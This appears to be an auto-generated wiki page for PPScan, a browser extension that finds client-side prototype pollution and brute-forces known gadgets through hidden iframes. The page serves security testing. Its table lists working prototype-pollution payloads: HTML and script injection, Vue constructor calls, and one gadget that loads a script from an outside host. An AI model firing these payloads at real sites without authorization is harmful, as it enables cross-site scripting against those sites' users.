Found PP? What's Next?
Relevant source files
The following files were used as context for generating this wiki page:Once the PPScan extension has identified a potential Client-Side Prototype Pollution (PP) vulnerability, the next step is to determine if it is exploitable. This involves using "gadgets"—properties or code paths in the target application's JavaScript that, when a polluted property is accessed, lead to undesirable behavior like Cross-Site Scripting (XSS).
The project's documentation recommends consulting external resources for known gadgets. PPScan also includes a built-in feature to automatically test a list of common gadgets against the vulnerable page.
Sources: README.md:25-26
Identifying a Vulnerability
PPScan indicates a finding by updating the extension's badge count. The details of the findings can be viewed in the extension's popup window.
Sources: scripts/background.js:5, scripts/popup.js:71-73
The popup displays a table of all identified vulnerabilities for the session, with the following columns:
- host: The domain where the vulnerability was found.
- type: The mode that found the vulnerability (e.g., 'Active Mode').
- location: The specific URL and line/column number of the vulnerable code.
Sources: pages/popup.html:101-105, scripts/popup.js:80-82
Automated Gadget Brute-forcing
PPScan provides a "Brute Gadgets" feature to automate the process of testing for exploitable gadgets. This is initiated from the extension popup.
Sources: pages/popup.html:89-95
Triggering the Brute-force Attack
The popup UI contains two buttons for this purpose:
- Search: Tests gadgets by appending them to the URL's query string.
- Hash: Tests gadgets by appending them to the URL's hash.
When either button is clicked, an event (TriggerBrute or TriggerBruteHash) is dispatched on the active tab.
Sources: pages/popup.html:92-95, scripts/popup.js:52-59
Brute-forcing Workflow
The following diagram illustrates the sequence of events when the user initiates a gadget brute-force.
This diagram shows the flow from the user clicking a button in the popup to the exploit script iterating through gadgets.
Sources: scripts/popup.js:52-59, scripts/content_script.js:1-24, scripts/exp.js:34-62
- The
content_script.jsrunning on the target page listens for theTriggerBruteorTriggerBruteHashevents. - Upon receiving the event, it creates a hidden
<iframe>and loadspages/iframe.htmlinto it. pages/iframe.html's only purpose is to loadscripts/exp.js.- The
content_script.jsthen sends apostMessageto this new iframe, containing the current page's URL and the attack type ('search' or 'hash'). - The
exp.jsscript receives this message and begins iterating through its predefinedGADGETSarray. For each gadget, it creates anotheriframe, setting its source to the target URL with the gadget payload appended to either the search parameters or the hash.
Sources: scripts/content_script.js:1-24, pages/iframe.html, scripts/exp.js:34-62
Predefined Gadgets
The exp.js file contains a hardcoded array named GADGETS with numerous payloads designed to test for common JavaScript library vulnerabilities that can be triggered by prototype pollution. If a gadget is successful, it will typically execute debugger, pausing browser execution and confirming the exploit.
The table below shows a sample of the gadgets used by PPScan.
| Gadget Payload | Target |
|---|---|
__proto__[innerHTML]=<img/src/onerror=debugger> | Generic HTML element injection |
__proto__[url][]=data:,debugger//&__proto__[dataType]=script | jQuery AJAX-related |
__proto__[srcdoc][]=<script>debugger</script> | iframe srcdoc injection |
__proto__[v-if]=_c.constructor('debugger')() | Vue.js-related RCE |
__proto__[template]=<script>debugger</script> | Various template engines |
__proto__[onload]=debugger | Generic event handler injection |
__proto__[sourceURL]=%E2%80%A8%E2%80%A9debugger | jQuery globalEval related |
__proto__[BOOMR]=1&__proto__[url]=//p6.is/ppscan.php | Boomerang.js library |
Sources: scripts/exp.js:8-32
Manual Gadget Discovery
If the automated brute-force does not yield results, the next step is manual analysis. As suggested in the README.md, the BlackFan/client-side-prototype-pollution GitHub repository is a valuable resource. It contains a curated list of gadgets for various JavaScript libraries, which can be manually tested after PPScan confirms a vulnerable sink.
Sources: README.md:26.